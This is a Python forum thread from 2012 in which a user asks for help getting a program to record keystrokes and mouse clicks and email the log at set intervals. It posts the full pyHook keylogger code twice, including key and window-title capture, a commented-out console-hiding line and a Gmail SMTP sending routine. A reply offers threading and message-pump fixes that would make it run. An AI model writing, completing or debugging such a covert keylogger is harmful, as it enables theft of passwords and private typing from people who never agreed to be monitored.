pyHook and time libraries

D

Doron

Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

Thanks alot ahead!
 
P

Prasad, Ramit

Doron said:
Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

Thanks alot ahead!

I am not sure how to even begin helping you. I do not even know
what is wrong other than "can't make both of them work simultaneously".
What version of Python andOS? Are you using any 3rd party modules?
What is the code you use? What happens and what do you expect? How
are you getting the logs for email? Are they being passed in or are
you using a log file?


~Ramit



This email is confidential and subject to important disclaimers and
conditions including on offers for the purchase or sale of
securities, accuracy and completeness of information, viruses,
confidentiality, legal privilege, and legal entity disclaimers,
available at http://www.jpmorgan.com/pages/disclosures/email.
 
D

doronmmm

בת×ריך ×™×•× ×©×™×©×™, 30 בנובמבר 2012 21:47:57 UTC+2, מ×ת Prasad, Ramit:
I am not sure how to even begin helping you. I do not even know

what is wrong other than "can't make both of them work simultaneously".

What version of Python and OS? Are you using any 3rd party modules?

What is the code you use? What happens and what do you expect? How

are you getting the logs for email? Are they being passed in or are

you using a log file?





~Ramit







This email is confidential and subject to important disclaimers and

conditions including on offers for the purchase or sale of

securities, accuracy and completeness of information, viruses,

confidentiality, legal privilege, and legal entity disclaimers,

available at http://www.jpmorgan.com/pages/disclosures/email.


This is the code:

=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
print("ready to send email")
fromaddr = '(e-mail address removed)'
toaddrs = '(e-mail address removed)'
msg = open('log.txt',"r").read()

username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")

def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt

while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()

def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True


def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName ==None :
log = "-\n"
openfile.write(log)
return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()

pythoncom.PumpMessages()

========================================

i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
 
D

doronmmm

בת×ריך ×™×•× ×©×™×©×™, 30 בנובמבר 2012 21:47:57 UTC+2, מ×ת Prasad, Ramit:
I am not sure how to even begin helping you. I do not even know

what is wrong other than "can't make both of them work simultaneously".

What version of Python and OS? Are you using any 3rd party modules?

What is the code you use? What happens and what do you expect? How

are you getting the logs for email? Are they being passed in or are

you using a log file?





~Ramit







This email is confidential and subject to important disclaimers and

conditions including on offers for the purchase or sale of

securities, accuracy and completeness of information, viruses,

confidentiality, legal privilege, and legal entity disclaimers,

available at http://www.jpmorgan.com/pages/disclosures/email.


This is the code:

=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
print("ready to send email")
fromaddr = '(e-mail address removed)'
toaddrs = '(e-mail address removed)'
msg = open('log.txt',"r").read()

username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")

def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt

while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()

def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True


def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName ==None :
log = "-\n"
openfile.write(log)
return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()

pythoncom.PumpMessages()

========================================

i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
 
D

Dennis Lee Bieber

def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt

while tt<nn:

Ugh... A CPU intensive polling loop!

The simplest way to delay is to use time.sleep()

while True:
time.sleep(300.0) #5min * 60sec

There is no guarantee that this will fire exactly 5min later -- but
should fire as soon after 5min as it gets control...
def OnMouseEvent(event):
global log

Why bother defining "log" as global, when the only contents used are
local messages being written to a file?
thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()

pythoncom.PumpMessages()

Uhm... I don't know if pythoncom (or the PumpMessages() ) method is
Python friendly -- that is, if it DOESN'T release the GIL at some point,
your email thread will never get control. Compare the difference between
..PumpMessages() and .PumpWaitingMessages(). The latter only runs the
currently pending batch and returns (which will definitely allow your
thread to run) -- the implication is the .PumpMessages() won't return
until the (implied) window is closed. Using .PumpWaitingMessages() will
require making a loop in the main thread...

while True:
if pythoncom.PumpWaitingMessages(): break #window closed
time.sleep(0.0) #ensure threading task swapping can happen
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,995
Messages
2,570,236
Members
46,822
Latest member
israfaceZa

Latest Threads

Top